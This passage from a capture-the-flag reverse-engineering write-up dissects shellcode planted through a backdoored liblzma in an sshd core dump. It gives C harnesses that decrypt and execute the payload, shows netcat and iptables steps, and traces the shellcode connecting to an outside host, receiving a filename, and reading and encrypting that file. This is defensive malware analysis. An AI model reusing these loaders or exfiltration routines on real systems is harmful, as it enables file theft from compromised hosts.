  puts("Setting up decryption key...\n");  
  setup_decryption_key((char *)key, param_2 + 0x4, param_2 + 0x24, 0);  
  dump_key();
 
  return 0;  
}

The parts of setup_decryption_key that I modified are:

  1. Setting in_register_0000000c to 0

  2. Commenting out this loop, which is simply a memzero, and causes an error:

1
2
3
4
5
6
for (uVar4 = (ulong)(((uint)decryption_key -  
                     (uint)(undefined8 *)((ulong)(decryption_key + 8) & 0xfffffffffffffff8)) +  
                     0xc0U >> 3); uVar4 != 0; uVar4 = uVar4 - 1) {  
  *puVar5 = 0;  
  puVar5 = puVar5 + 1;  
} 
  1. Commenting out the line *(ulong *)(decryption_key + 0x78) = CONCAT44(in_register_0000000c,zero); , since it doesn’t do anything interesting Compiling and running this code dumps the key into the file key:

hexdump_key.png

Dumping the encrypted shellcode

Nice! Now that we have the key, we need to find the encrypted shellcode. The decrypt_shellcode function is called in the following context:

1
2
func_ptr = (code *)memcpy(__dest,&shellcode,(long)shellcode_size);
decrypt_shellcode(decryption_key,func_ptr,(long)shellcode_size);

Or, in assembly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        00109908 48 63 15        MOVSXD     RDX,dword ptr [shellcode_size]                   = 00000F96h  
                 51 8a 02 00  
        0010990f 48 8d 35        LEA        func_name,[shellcode]                            = 0Fh  
                 4a a0 01 00  
        00109916 48 89 c7        MOV        RDI,func_ptr  
        00109919 e8 c2 b0        CALL       libc.so.6::memcpy                                void * memcpy(void * __dest, voi  
                 ff ff  
        0010991e 48 63 15        MOVSXD     RDX,dword ptr [shellcode_size]                   = 00000F96h  
                 3b 8a 02 00  
        00109925 4c 89 ff        MOV        RDI,R15  
        00109928 48 89 c6        MOV        func_name,func_ptr  
        0010992b 48 89 44        MOV        qword ptr [RSP + local_120],func_ptr  
                 24 08  
        00109930 e8 eb fb        CALL       decrypt_shellcode                                undefined decrypt_shellcode(byte  
                 ff ff

A pointer to the encrypted shellcode buffer is loaded into func_name (rsi) before the memcpy, allowing us to get the encrypted shellcode. In gdb, the instructions before the memcpy are as below:

1
2
3
4
   0x7f4a18c8f908: movsxd rdx,DWORD PTR [rip+0x28a51]        # 0x7f4a18cb8360  
   0x7f4a18c8f90f: lea    rsi,[rip+0x1a04a]        # 0x7f4a18ca9960  
   0x7f4a18c8f916: mov    rdi,rax  
   0x7f4a18c8f919: call   0x7f4a18c8a9e0 <memcpy@plt>

If we inspect the address that is loaded into rsi, we see the encrypted shellcode:

1
2
3
4
5
6
pwndbg> x/wx 0x7f4a18ca9960  
0x7f4a18ca9960: 0x4e35b00f  
pwndbg>  
0x7f4a18ca9964: 0xe550fd81  
pwndbg>  
0x7f4a18ca9968: 0x1b6bbf04

As before, we’ll dump the shellcode, which is 0xf96 bytes long, using the dump command:

1
dump binary memory shellcode.bin 0x7f4a18ca9960 0x7f4a18ca9960 + 0xf96

Reconstructing the algorithm

Awesome! We only have one step left to decrypt the shellcode: reconstruct the encryption/decryption algorithm in C. This is done similarily to how we reconstructed setup_decryption_key. Here’s the decompilation for decrypt_shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
void decrypt_shellcode(byte *key,byte *encrypted_shellcode,long shellcode_size)  
  
{  
  ulong *puVar1;  
  int *piVar2;  
  uint uVar3;  
  uint uVar4;  
  byte *pbVar5;  
  ulong uVar6;  
  ulong *puVar7;  
  ulong *puVar8;  
  uint uVar9;  
  uint uVar10;  
  uint uVar11;  
  uint uVar12;  
  uint uVar13;  
  uint uVar14;  
  uint uVar15;  
  uint uVar16;  
  uint uVar17;  
  uint uVar18;  
  uint uVar19;  
  uint uVar20;  
  uint uVar21;  
  uint uVar22;  
  uint local_68;  
  uint local_64;  
  byte *local_60;  
  int local_54;  
   
  if (shellcode_size == 0) {  
    return;  
  }  
  puVar1 = (ulong *)(key + 0x40);  
                    /* 0x16 initially */  
  uVar6 = *puVar1;  
  local_60 = encrypted_shellcode;  
  do {  
    puVar8 = (ulong *)key;  
    if (uVar6 < 0x40) {  
      pbVar5 = key + uVar6;  
    }  
    else {  
      do {  
        puVar7 = (ulong *)((long)puVar8 + 4);  
        *(undefined4 *)puVar8 = *(undefined4 *)(puVar8 + 0x10);  
        puVar8 = puVar7;  
      } while (puVar1 != puVar7);  
      local_64 = *(uint *)(key + 0x18);  
      uVar20 = *(uint *)key;  
      local_54 = 10;  
      uVar4 = *(uint *)(key + 0x10);  
      uVar9 = *(uint *)(key + 0x30);  
      uVar15 = *(uint *)(key + 0x20);  
      uVar16 = *(uint *)(key + 4);  
      uVar3 = *(uint *)(key + 0x38);  
      uVar18 = *(uint *)(key + 0x14);  
      uVar10 = *(uint *)(key + 0x34);  
      uVar14 = *(uint *)(key + 0x24);  
      uVar11 = *(uint *)(key + 8);  
      uVar19 = *(uint *)(key + 0x28);  
      local_68 = *(uint *)(key + 0x2c);  
      uVar13 = *(uint *)(key + 0xc);  
      uVar22 = *(uint *)(key + 0x1c);  
      uVar21 = *(uint *)(key + 0x3c);  
      do {  
        uVar10 = uVar10 ^ uVar16 + uVar18;  
        uVar9 = uVar9 ^ uVar20 + uVar4;  
        uVar10 = uVar10 << 0x10 | uVar10 >> 0x10;  
        uVar9 = uVar9 << 0x10 | uVar9 >> 0x10;  
        uVar14 = uVar14 + uVar10;  
        uVar15 = uVar15 + uVar9;  
        uVar17 = uVar18 ^ uVar14;  
        uVar12 = uVar4 ^ uVar15;  
        uVar17 = uVar17 << 0xc | uVar17 >> 0x14;  
        uVar12 = uVar12 << 0xc | uVar12 >> 0x14;  
        uVar16 = uVar16 + uVar18 + uVar17;  
        uVar20 = uVar20 + uVar4 + uVar12;  
        uVar10 = uVar10 ^ uVar16;  
        uVar9 = uVar9 ^ uVar20;  
        uVar10 = uVar10 << 8 | uVar10 >> 0x18;  
        uVar9 = uVar9 << 8 | uVar9 >> 0x18;  
        uVar14 = uVar14 + uVar10;  
        uVar15 = uVar15 + uVar9;  
        uVar12 = uVar12 ^ uVar15;  
        uVar17 = uVar17 ^ uVar14;  
        uVar12 = uVar12 << 7 | uVar12 >> 0x19;  
        uVar18 = uVar17 << 7 | uVar17 >> 0x19;  
        uVar3 = uVar3 ^ uVar11 + local_64;  
        uVar4 = uVar3 << 0x10 | uVar3 >> 0x10;  
        uVar19 = uVar19 + uVar4;  
        uVar3 = local_64 ^ uVar19;  
        uVar3 = uVar3 << 0xc | uVar3 >> 0x14;  
        uVar11 = uVar11 + local_64 + uVar3;  
        uVar4 = uVar4 ^ uVar11;  
        uVar4 = uVar4 << 8 | uVar4 >> 0x18;  
        uVar19 = uVar19 + uVar4;  
        uVar20 = uVar20 + uVar18;  
        uVar21 = uVar21 ^ uVar13 + uVar22;  
        uVar3 = uVar3 ^ uVar19;  
        uVar21 = uVar21 << 0x10 | uVar21 >> 0x10;  
        uVar3 = uVar3 << 7 | uVar3 >> 0x19;  
        local_68 = local_68 + uVar21;  
        uVar16 = uVar16 + uVar3;  
        uVar17 = uVar22 ^ local_68;  
        uVar9 = uVar9 ^ uVar16;  
        uVar17 = uVar17 << 0xc | uVar17 >> 0x14;  
        uVar9 = uVar9 << 0x10 | uVar9 >> 0x10;  
        uVar13 = uVar13 + uVar22 + uVar17;  
        uVar21 = uVar21 ^ uVar13;  
        uVar22 = uVar21 << 8 | uVar21 >> 0x18;  
        local_68 = local_68 + uVar22;  
        uVar22 = uVar22 ^ uVar20;  
        uVar22 = uVar22 << 0x10 | uVar22 >> 0x10;  
        uVar17 = uVar17 ^ local_68;  
        local_68 = local_68 + uVar9;  
        uVar19 = uVar19 + uVar22;  
        uVar3 = uVar3 ^ local_68;  
        uVar17 = uVar17 << 7 | uVar17 >> 0x19;  
        uVar18 = uVar18 ^ uVar19;  
        uVar18 = uVar18 << 0xc | uVar18 >> 0x14;  
        uVar20 = uVar20 + uVar18;  
        uVar22 = uVar22 ^ uVar20;  
        uVar21 = uVar22 << 8 | uVar22 >> 0x18;  
        uVar19 = uVar19 + uVar21;  
        uVar18 = uVar18 ^ uVar19;  
        uVar18 = uVar18 << 7 | uVar18 >> 0x19;  
        uVar22 = uVar3 << 0xc | uVar3 >> 0x14;  
        uVar11 = uVar11 + uVar17;  
        uVar16 = uVar16 + uVar22;  
        uVar10 = uVar10 ^ uVar11;  
        uVar9 = uVar9 ^ uVar16;  
        uVar3 = uVar10 << 0x10 | uVar10 >> 0x10;  
        uVar9 = uVar9 << 8 | uVar9 >> 0x18;  
        uVar15 = uVar15 + uVar3;  
        local_68 = local_68 + uVar9;  
        uVar17 = uVar17 ^ uVar15;  
        uVar22 = uVar22 ^ local_68;  
        uVar17 = uVar17 << 0xc | uVar17 >> 0x14;  
        uVar11 = uVar11 + uVar17;  
        local_64 = uVar22 << 7 | uVar22 >> 0x19;  
        uVar3 = uVar3 ^ uVar11;  
        uVar13 = uVar13 + uVar12;  
        uVar10 = uVar3 << 8 | uVar3 >> 0x18;  
        uVar4 = uVar4 ^ uVar13;  
        uVar15 = uVar15 + uVar10;  
        uVar4 = uVar4 << 0x10 | uVar4 >> 0x10;  
        uVar17 = uVar17 ^ uVar15;  
        uVar14 = uVar14 + uVar4;  
        uVar22 = uVar17 << 7 | uVar17 >> 0x19;  
        uVar12 = uVar12 ^ uVar14;  
        uVar12 = uVar12 << 0xc | uVar12 >> 0x14;  
        uVar13 = uVar13 + uVar12;  
        uVar4 = uVar4 ^ uVar13;  
        uVar3 = uVar4 << 8 | uVar4 >> 0x18;  
        uVar14 = uVar14 + uVar3;  
        uVar12 = uVar12 ^ uVar14;  
        uVar4 = uVar12 << 7 | uVar12 >> 0x19;  
        local_54 = local_54 + -1;  
      } while (local_54 != 0);  
      *(uint *)(key + 0x34) = uVar10;  
      *(uint *)(key + 0x18) = local_64;  
      *(uint *)key = uVar20;  
      *(uint *)(key + 0x38) = uVar3;  
      *(uint *)(key + 0x10) = uVar4;  
      *(uint *)(key + 0x2c) = local_68;  
      *(uint *)(key + 0x30) = uVar9;  
      *(uint *)(key + 0x20) = uVar15;  
      *(uint *)(key + 4) = uVar16;  
      *(uint *)(key + 0x14) = uVar18;  
      *(uint *)(key + 0x24) = uVar14;  
      *(uint *)(key + 8) = uVar11;  
      *(uint *)(key + 0x28) = uVar19;  
      *(uint *)(key + 0xc) = uVar13;  
      *(uint *)(key + 0x1c) = uVar22;  
      *(uint *)(key + 0x3c) = uVar21;  
      puVar8 = (ulong *)key;  
      while( true ) {  
        puVar7 = (ulong *)((long)puVar8 + 4);  
        *(uint *)puVar8 = uVar20 + *(int *)(puVar8 + 0x10);  
        if (puVar1 == puVar7) break;  
        uVar20 = *(uint *)puVar7;  
        puVar8 = puVar7;  
      }  
      piVar2 = (int *)(key + 0xb0); 
      *piVar2 = *piVar2 + 1; 
      if (*piVar2 == 0) {  
        *(int *)(key + 0xb4) = *(int *)(key + 0xb4) + 1;  
      }  
      *(undefined8 *)(key + 0x40) = 0;  
      pbVar5 = key;  
    }  
    *local_60 = *local_60 ^ *pbVar5;  
    local_60 = local_60 + 1;  
    uVar6 = *(long *)(key + 0x40) + 1;  
    *(ulong *)(key + 0x40) = uVar6;  
  } while (encrypted_shellcode + shellcode_size != local_60);  
  return;  
}

As in the case of setup_decryption_key, the exact operation of this algorithm does not matter; we simply treat it as a black box of sorts, and reconstruct it in a C program. Unlike setup_decryption_key, here we can use the code directly from Ghidra, and we don’t need to change anything. Putting all these pieces together, let’s decrypt the shellcode! We do so using the following program:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>  
#include <stdbool.h>  
#include <string.h>  
  
#define KEY_SIZE (200)  
#define SHELLCODE_SIZE (0xf96)  
#define PARAM_2_SIZE (0x1000)  
  
typedef unsigned int uint;  
typedef unsigned int undefined4;  
typedef unsigned long ulong;  
typedef unsigned long undefined8;  
typedef char byte;  
  
char key[KEY_SIZE];  
char shellcode[SHELLCODE_SIZE];  
char param_2[PARAM_2_SIZE];  
  
void read_key() {  
  FILE *fp = fopen("PATH_TO_KEY", "rb");  
  fread(key, KEY_SIZE, 1, fp);  
  fclose(fp);  
}  
  
void read_shellcode() {  
  FILE *fp = fopen("PATH_TO_ENCRYPTED_SHELLCODE", "rb");  
  fread(shellcode, SHELLCODE_SIZE, 1, fp);  
  fclose(fp);  
}  
  
void read_param_2() {  
  FILE *fp = fopen("PATH_TO_PARAM_2", "rb");  
  fread(param_2, PARAM_2_SIZE, 1, fp);  
  fclose(fp);  
}  
  
// Copied from Ghidra  
void setup_decryption_key(char *decryption_key,char *param_2,char *param_3,int zero)  
  
{  
  ...
}  
  
// Copied from Ghidra  
void decrypt_shellcode(byte *key,byte *encrypted_shellcode,long shellcode_size)  
{  
 ...
}  
  
void dump_shellcode() {  
  FILE *fp = fopen("./shellcode.bin", "wb");  
  fwrite(shellcode, SHELLCODE_SIZE, 1, fp);  
  fclose(fp);  
}  
  
void dump_key() {  
  FILE *fp = fopen("./key", "wb");  
  fwrite(key, KEY_SIZE, 1, fp);  
  fclose(fp);  
}  
  
int main() {  
  // read_key();  
  memset(key, 0, KEY_SIZE);  
  read_shellcode();  
  read_param_2();  
  puts("Setting up decryption key...\n");  
  setup_decryption_key((char *)key, param_2 + 0x4, param_2 + 0x24, 0);  
  puts("Decrypting shellcode...\n");  
  decrypt_shellcode(key, shellcode, SHELLCODE_SIZE);  
  dump_shellcode();  
   
  puts("Calling shellcode...\n");   
  void (*foo)() = (void(*)())shellcode;  
  
  foo();  
  
  return 0;  
}

Let’s run the program and break in the call to foo:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> disass main  
Dump of assembler code for function main:  
...
   0x0000555555555cfa <+200>: lea    rax,[rip+0x245f]        # 0x555555558160 <shellcode>  
   0x0000555555555d01 <+207>: mov    QWORD PTR [rbp-0x8],rax  
   0x0000555555555d05 <+211>: mov    rdx,QWORD PTR [rbp-0x8]  
   0x0000555555555d09 <+215>: mov    eax,0x0  
   0x0000555555555d0e <+220>: call   rdx  
  ...
End of assembler dump.  
pwndbg> b *main+220  
Breakpoint 2 at 0x555555555d0e

Inspecting shellcode after the breakpoint is hit, we see:

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i &shellcode  
   0x555555558160 <shellcode>: push   rbp  
   0x555555558161 <shellcode+1>: mov    rbp,rsp  
   0x555555558164 <shellcode+4>: call   0x555555558f22 <shellcode+3522>  
   0x555555558169 <shellcode+9>: leave  
   0x55555555816a <shellcode+10>: ret  
   0x55555555816b <shellcode+11>: push   rdi  
   0x55555555816c <shellcode+12>: push   rbp  
   0x55555555816d <shellcode+13>: mov    rbp,rsp  
   0x555555558170 <shellcode+16>: mov    edi,eax  
   0x555555558172 <shellcode+18>: push   0x3

Looks like valid instructions to me! We successfully managed to decrypt the shellcode! We still have a ways to go before getting the flag, though.

Analyzing the Shellcode

To recap so far:

  • We found the core dump of the SSH daemon by searching for a file with sshd in its name

  • We figured out the reason the daemon crashed: it attempted to call the non-existent function RSA_public_decrypt , due to a backdoor in liblzma (like in the real world Jia Tan incident)

  • We found that before crashing, the program called 0xf96 bytes of shellcode

  • Unfortunately, the shellcode is encrypted, so we had to decrypt it by finding (1) the key used to encrypt/decrypt, and (2) the encrypted shellcode in memory

  • We wrote a C program that decrypts the shellcode by making some slight alterations to the code that Ghidra decompiled for the setup_decryption_key and decrypt_shellcode functions

  • We now have the decrypted shellcode in the file shellcode.bin!

    Dynamic Analysis

    We’ll begin our analysis dynamically: shellcode is pretty much forced to use syscalls to do interesting things (since it has no direct access to library functions), so running strace will probably reveal at least some of the behavior of the shellcode. We’ll write a small C wrapper for the shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>

#define SHELLCODE_SIZE (0xf96)

unsigned char shellcode[SHELLCODE_SIZE];

void read_shellcode() {
    FILE *fp = fopen("./shellcode.bin", "rb");
    fread(shellcode, SHELLCODE_SIZE, 1, fp);
    fclose(fp);
}

int main() {
    read_shellcode();
    void *shellcode_addr = mmap(NULL, SHELLCODE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memcpy(shellcode_addr, shellcode, SHELLCODE_SIZE);
    void (*shellcode_func)() = shellcode_addr;
    shellcode_func();

    return 0;
}

Running strace, we see some very interesting stuff (I left only the syscalls made by the shellcode itself):

1
2
3
4
$ strace ./shellcode_wrapper 
...
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16

The shellcode creates a TCP socket, and tries to connect to the IP address 10.0.2.15 on port 1337. Our next step should be to see what the shellcode does with this address. Since my computer doesn’t have this IP, we’ll have to add an iptables route that forwards all outbound traffic to 10.0.2.15 to localhost:

1
sudo iptables -t nat -A OUTPUT -d 10.0.2.15 -j DNAT --to-destination 127.0.0.1

Let’s run a netcat listener on port 1337:

1
nc -lnvp 1337

And strace the shellcode again:

1
2
3
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = 0
recvfrom(3,

Hmm… the next call is a recvfrom called on the socket. To understand what the shellcode does with the data it receives we’ll have to analyze it statically.

Static Analysis

Socket Creation

The shellcode begins by calling a function that I renamed main:

1
2
3
4
5
PUSH       RBP
MOV        RBP,RSP
CALL       main
LEAVE
RET

The main function starts by calling another function:

1
2
3
4
5
6
7
8
9
10
undefined8 main(undefined8 param_1,undefined8 param_2)
{
  ...
  undefined4 uVar2;
  byte bVar6;
  
  bVar6 = 0;
  uVar2 = FUN_0000001a(param_1,param_2,0x539);
  ...
}

The decompilation for this function is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* WARNING: Removing unreachable block (ram,0x00000084) */
/* WARNING: Removing unreachable block (ram,0x00000045) */

undefined  [16] FUN_0000001a(void)

{
  long lVar1;
  sockaddr *puVar2;
  undefined auVar2 [16];
  sockaddr buf;
  
  syscall();
  puVar2 = &buf;
  for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
    *(undefined *)&puVar2->sa_family = 0;
    puVar2 = (sockaddr *)((long)&puVar2->sa_family + 1);
  }
  syscall();
  auVar2._8_8_ = 0x10;
  auVar2._0_8_ = 0x29;

  return auVar2;
}

Ghidra doesn’t decompile syscalls all that well, so we’ll analyze the syscalls directly from the assembly. Here’s the first syscall:

1
2
3
4
5
6
7
8
9
PUSH       0x29
POP        RAX
PUSH       0x2
POP        RDI
PUSH       0x1
POP        RSI
PUSH       0x6
POP        RDX
SYSCALL

One Google search later, we see that syscall 0x29 is socket. By standard x64 syscall convention, it receives its parameters as follows:

  • First argument, int domain, passed in rdi

  • Second argument, int type, passed in rsi

  • And third argument, int protocol, passed in rdx In our case, rdi = 0x2, rsi = 0x1, and rdx = 0x6. By looking it up in the Linux headers, we see that the call creates a socket with parameters AF_INET, SOCK_STREAM, IPPROTO_TCP, or in other words: a TCP socket. This matches up perfectly with what we’ve seen earlier in the output of strace. After this, we have a loop that zeros some fields of puVar2, which is a sockaddr * (we’ll get to why I retyped it as such in a moment):

1
2
3
4
for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
	*(undefined *)&puVar2->sa_family = 0;
	puVar2 = (sockaddr *)((long)&puVar2->sa_family + 1);
}

Then, we have another syscall:

1
2
3
4
5
6
7
8
LEA        RSI=>buf,[RBP + -0x10]
PUSH       0x2a
POP        RAX
MOV        puVar2,R10D
PUSH       0x10
POP        RDX
connect(sock, sockaddr, sizeof(struct sockaddr))
SYSCALL

Syscall 0x2a is the connect syscall. It has the following signature:

1
int connect(int sockfd, const struct sockaddr* addr, socklen_t addrlen);

It’s the same calling convention as before, so:

  • The addrlen (rdx) is 0x10

  • The sockaddr (rsi) is a buffer on the stack. This is the same one where the fields were zeroed earlier in the loop, hence why I retyped it

  • The sockfd (puVar2, which is rdi) is r10d. The last instruction that changed r10d is mov r10d, eax, right after the previous syscall. In other words, r10d contains the file descriptor of the new socket Putting this all together, this syscall connects the socket to the address and port we saw earlier when we ran strace. By further analyzing this function, we can see exactly where the port and address are specified, but this isn’t relevant for our analysis. After the call to connect, the function returns the file descriptor of the socket. We’ll rename this function to init_socket.

    recvfroms galore

    Getting back to main, we see another 4 syscalls. Here’s the code for the first one:

1
2
3
4
5
6
7
8
9
10
11
12
CALL       init_socket                            
MOV        EBX,EAX
LEA        RSI=>first_recvfrom_buf,[RBP + -0x1278]
PUSH       0x2d
POP        RAX 
MOV        EDI,EBX
PUSH       0x20
POP        RDX
XOR        R10D,R10D
XOR        R8D,R8D
XOR        R9D,R9D
SYSCALL

The return value of init_socket (the socket’s file descriptor) is moved into ebx. From the value of rax, 0x2d, we can see that the syscall is recvfrom, whose signature is as follows:

1
ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);

The buf parameter (in rsi) is set to a buffer on the stack, which I renamed to first_recvfrom_buf. The sockfd returned by init_socket is moved into edi. The value 0x20, the len, is moved into rdx. The rest of the arguments are zerod. Putting this all together, the syscall simply reads 0x20 bytes from the socket. The other 3 syscalls are also recvfroms that read data into 3 other buffers from the socket, so there’s no need to reiterate this analysis. Below are all of the buffers’ names, and how many bytes are read into each:

  • First call: first_recvfrom_buf, 0x20 bytes

  • Second call: second_recvfrom_buf, 0xc bytes

  • Third call: third_recvfrom_buf, 0x4 bytes

  • Fourth call: fourth_recvfrom_buf, the 4 bytes from third_recvfrom_buf as a 32-bit little endian unsigned integer Next, we have another syscall:

1
2
3
4
5
6
LEA        RDI=>fourth_recvfrom_buf,[RBP + -0x1248]
PUSH       0x2
POP        RAX
XOR        ESI,ESI
XOR        EDX,EDX
SYSCALL

Syscall 0x2 is the open syscall. We can see that fourth_recvfrom_buf is loaded into rdi, which is the parameter of open that specifies the filename. The other registers (esi and edx) specify that the file is to be opened for reading. If so, this syscall opens the file whose name was specified in the 4th recvfrom call. After opening the file, the shellcode uses yet another syscall:

1
2
3
4
5
6
MOV        R12D,EAX
LEA        RSI=>third_recvfrom_buf,[RBP + -0x1148]
XOR        EAX,EAX
MOV        EDI,R12D
MOV        EDX,0x80
SYSCALL

Syscall 0x0 is read, which receives its parameters as follows:

  • File descriptor to read from in edi

  • Buffer to read into in rsi

  • Number of bytes to read in edx In our case, we can see that the return value of the open syscall is stored in r12d and later moved into edi, so the read is from the file that was just opened. The buffer is third_recvfrom_buf, and we read 0x80 bytes into it.

    File Encryption

    Next there’s a loop that computes the length of the file that was opened (number of bytes until the first NULL byte):

1
2
3
4
5
6
7
8
9
10
lVar3 = -1;
pcVar5 = third_recvfrom_buf;
do {
    pcVar4 = pcVar5;
    if (lVar3 == 0) break;
    lVar3 = lVar3 + -1;
    pcVar4 = pcVar5 + (ulong)bVar6 * -2 + 1;
    cVar1 = *pcVar5;
    pcVar5 = pcVar4;
} while (cVar1 != '\0');

And then a call to a function that we’ll call process_file:

1
process_file(pcVar4,third_recvfrom_buf,first_recvfrom_buf,second_recvfrom_buf,0,0);

Here’s the call in assembly:

1
2
3
4
5
LEA        RAX=>local_e8,[RBP + -0xc0]
LEA        RDX=>first_recvfrom_buf,[RBP + -0x1278]
LEA        RCX=>second_recvfrom_buf,[RBP + -0x1258]
XOR        R8D,R8D
CALL       process_file

The disassembly for process_file is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
                             **************************************************************

                             *                          FUNCTION                          *
                             **************************************************************
                             undefined process_file()
             undefined         AL:1           <RETURN>
                             process_file                                    XREF[1]:     main:00000eb1(c)  
        00000cd2 53              PUSH       RBX
        00000cd3 56              PUSH       RSI
        00000cd4 57              PUSH       RDI
        00000cd5 41 54           PUSH       R12
        00000cd7 55              PUSH       RBP
        00000cd8 48 8b ec        MOV        RBP,RSP
        00000cdb 48 8b d8        MOV        RBX,RAX
        00000cde 4c 8b c9        MOV        R9,RCX
        00000ce1 49 8b f0        MOV        RSI,R8
        00000ce4 32 c0           XOR        AL,AL
        00000ce6 48 8b fb        MOV        RDI,RBX
        00000ce9 b9 c0 00        MOV        ECX,0xc0
                 00 00
        00000cee f3 aa           STOSB.REP  RDI
        00000cf0 48 8b c3        MOV        RAX,RBX
        00000cf3 49 8b c9        MOV        RCX,R9
        00000cf6 e8 98 fd        CALL       FUN_00000a93                             undefined setup_salsa20_state()
                 ff ff
        00000cfb 48 8b c3        MOV        RAX,RBX
                             Load the state into rax
        00000cfe 48 8d 80        LEA        RAX,[RAX + 0x80]
                 80 00 00 00
        00000d05 48 8b c8        MOV        RCX,RAX
        00000d08 48 83 c1 30     ADD        RCX,0x30
        00000d0c 8b c6           MOV        EAX,ESI
        00000d0e 89 01           MOV        dword ptr [RCX],EAX
        00000d10 48 8b c3        MOV        RAX,RBX
        00000d13 48 8d 80        LEA        RAX,[RAX + 0x80]
                 80 00 00 00
        00000d1a 48 8b f8        MOV        RDI,RAX
        00000d1d 48 83 c7 34     ADD        RDI,0x34
        00000d21 48 8b c3        MOV        RAX,RBX
        00000d24 48 8d 40 68     LEA        RAX,[RAX + 0x68]
        00000d28 e8 f3 01        CALL       get_dword                                        undefined get_dword()
                 00 00
        00000d2d 4c 8b e6        MOV        R12,RSI
        00000d30 49 c1 ec 20     SHR        R12,0x20
        00000d34 41 03 c4        ADD        EAX,R12D
        00000d37 89 07           MOV        dword ptr [RDI],EAX
        00000d39 48 89 73 78     MOV        qword ptr [RBX + 0x78],RSI
        00000d3d 6a 40           PUSH       0x40
        00000d3f 8f 43 40        POP        qword ptr [RBX + 0x40]
        00000d42 c9              LEAVE
        00000d43 41 5c           POP        R12
        00000d45 5f              POP        RDI
        00000d46 5e              POP        RSI
        00000d47 5b              POP        RBX
        00000d48 c3              RET

The function begins by zeroing out the first 0xc0 bytes of the buffer that is stored in rdi:

1
2
3
MOV        RDI,RBX
MOV        ECX,0xc0
STOSB.REP  RDI

After this, we have a call to another function, where the parameters are second_recvfrom_buf (in rcx) and first_recvfrom_buf (in rdx, whose value wasn’t modified since the call to process_file, where first_recvfrom_buf was loaded into rdx):

1
2
3
4
5
6
// The last time the value of r9 was modified
MOV        R9,RCX
...
MOV        RAX,RBX
MOV        RCX,R9
CALL       FUN_00000a93

The decompiled code of this function is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
void FUN_00000a93(undefined8 param_1,undefined8 param_2,undefined *param_3,undefined *param_4
                        )

{
  undefined4 curr_dword;
  long in_RAX;
  long lVar1;
  undefined *puVar2;
  undefined *puVar3;
  undefined4 *puVar5;
  byte bVar4;
  
  bVar4 = 0;
  puVar2 = (undefined *)(in_RAX + 0x48);
  for (lVar1 = 0x20; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar2 = *param_3;
    param_3 = param_3 + 1;
    puVar2 = puVar2 + 1;
  }
  puVar2 = param_4;
  puVar3 = (undefined *)(in_RAX + 0x68);
  for (lVar1 = 0xc; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar3 = *puVar2;
    puVar2 = puVar2 + 1;
    puVar3 = puVar3 + 1;
  }

  lVar1 = 0xf85;
  puVar5 = (undefined4 *)(in_RAX + 0x80);
  curr_dword = get_dword(puVar5,0xf85);
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x84);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x88);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x8c);
  curr_dword = get_dword(puVar5,lVar1 + 0xc);
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x90);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x94);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x98);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0x9c);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
  puVar5 = (undefined4 *)(in_RAX + 0xa0);
  curr_dword = get_dword();
  *puVar5 = curr_dword;
